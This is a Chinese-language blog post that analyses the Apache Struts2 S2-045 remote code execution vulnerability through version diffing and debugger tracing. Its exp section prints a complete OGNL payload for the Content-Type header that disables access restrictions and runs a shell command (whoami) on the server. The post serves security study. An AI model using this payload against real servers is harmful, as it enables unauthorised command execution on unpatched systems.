S2-045远程代码执行漏洞分析

0x01 前言

最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

0x02 漏洞分析

首先看下官方文档的描述


发现是在Content-Type处写入恶意的代码来进行代码执行的,然后选择下载Struts 2.3.31和Struts 2.3.32两个版本进行对比研究

丢进Beyond Compare中看一看

发现dispatcher.multipart包中的三个java文件有不同,我们可以看到Jakarta字样,Jakarta是Struts2默认的上传处理配置,因此我们可以知道应该是要模拟上传行为来触发漏洞。

点开这三个java文件,我们可以发现其实修复的处理都是一样的

总结一下就是把

1
LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);

这里的e.getMessage()换成了null,所以我们推测应该是报错信息出现的问题把。
我们直接本地搭建一个上传点,然后开burp拦截,启动debug模式,在上面的地方下断点,进行调试看看,因为需要报错信息才能触发漏洞,所以我就直接在Content-Type处直接加了个123,解析肯定会报错的

这里有一个小技巧就是我们把这个上传包send to repeat一下,这样之后重新调试的时候直接go一下就可以了,不用每次都抓包,很麻烦。

然后我们Go一下,程序会停在断点处

然后我们单步进入

发现之前findText处的e.getMessage()处变成了defaultMessage,并且看一下监视器,发现这个变量前面是固定报错信息,但是后面拼接了我们出入的Content-Type字段的数据。

这个时候还不明朗,继续往下走,进入findText函数内部

其实这里我发现一点,那就是官方文档中已经说明了findText方法的作用,大致意思就是:如果Content-Type解析错误了,那么他就要找到指定的aTextName变量的本地化消息,如果在aClass变量指定的包中没有找到,就继续在上一个包中找,一直循环,直到obj包。并且有一点就是,官方文档明确说明了错误信息会被当作ognl表达式在解析

先记着吧,我们继续往下看。

往下走发现有一个findMessage函数,进去看看

发现就是并没有什么用,都是返回的null

之后到了下面有一个循环

这个循环就是之前说的那个在aClass变量执行的包中找,如果找不到就在上一个包中找,发现他会一直到obj包中都还没有找到

继续走,发现了一个敏感函数,getDefaultMessage。
因为我们之前是直到的,defaultMessage变量是我们可控的,进去看一下

找的了!之前分析S2-016的时候我们直到在translateVariables函数中是可以执行ognl表达式的,看一下这里的message参数,

刚好是我们们出入的defaultMessage,可控!

继续进入后,看到

那么payload的写法还是%{}或者${}

最后进入到执行ognl表达式的函数中

就会发现他是只执行${xxx}或者%{xxx}中的xxx的,所以并不用担心defaultMessage中系统自带的那些报错信息

0x03 exp编写

回溯buildErrorMessage函数,发现其在parse函数执行

回溯parse函数,发现其在MultiPartRequestWrapper函数中执行

回溯MultiPartRequestWrapper函数,发现其在dispatcher.wrapRequest函数中执行

但是我们发现,在获取Content-Type之后,有一个if判断,就是说Content-Type中必须得有multipart/form-data,才会执行之后的函数,所以编写exp的时候必须要有multipart/form-data字符串才行。

再回溯到了PrepareOperations.wrapRequest
再回溯到了StrutsPrepareAndExecuteFilter.doFilter

1
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0x04 总结

  1. Jarkata解析器是默认的文件上传解析器
  2. core包中的struts-default.xml中存在类成员访问的黑名单功能

本文标题:S2-045远程代码执行漏洞分析

文章作者:Pino-HD

发布时间:2018年06月19日 - 19:06

最后更新:2018年09月25日 - 10:09

原始链接:https://pino-hd.github.io/2018/06/19/S2-045远程代码执行漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!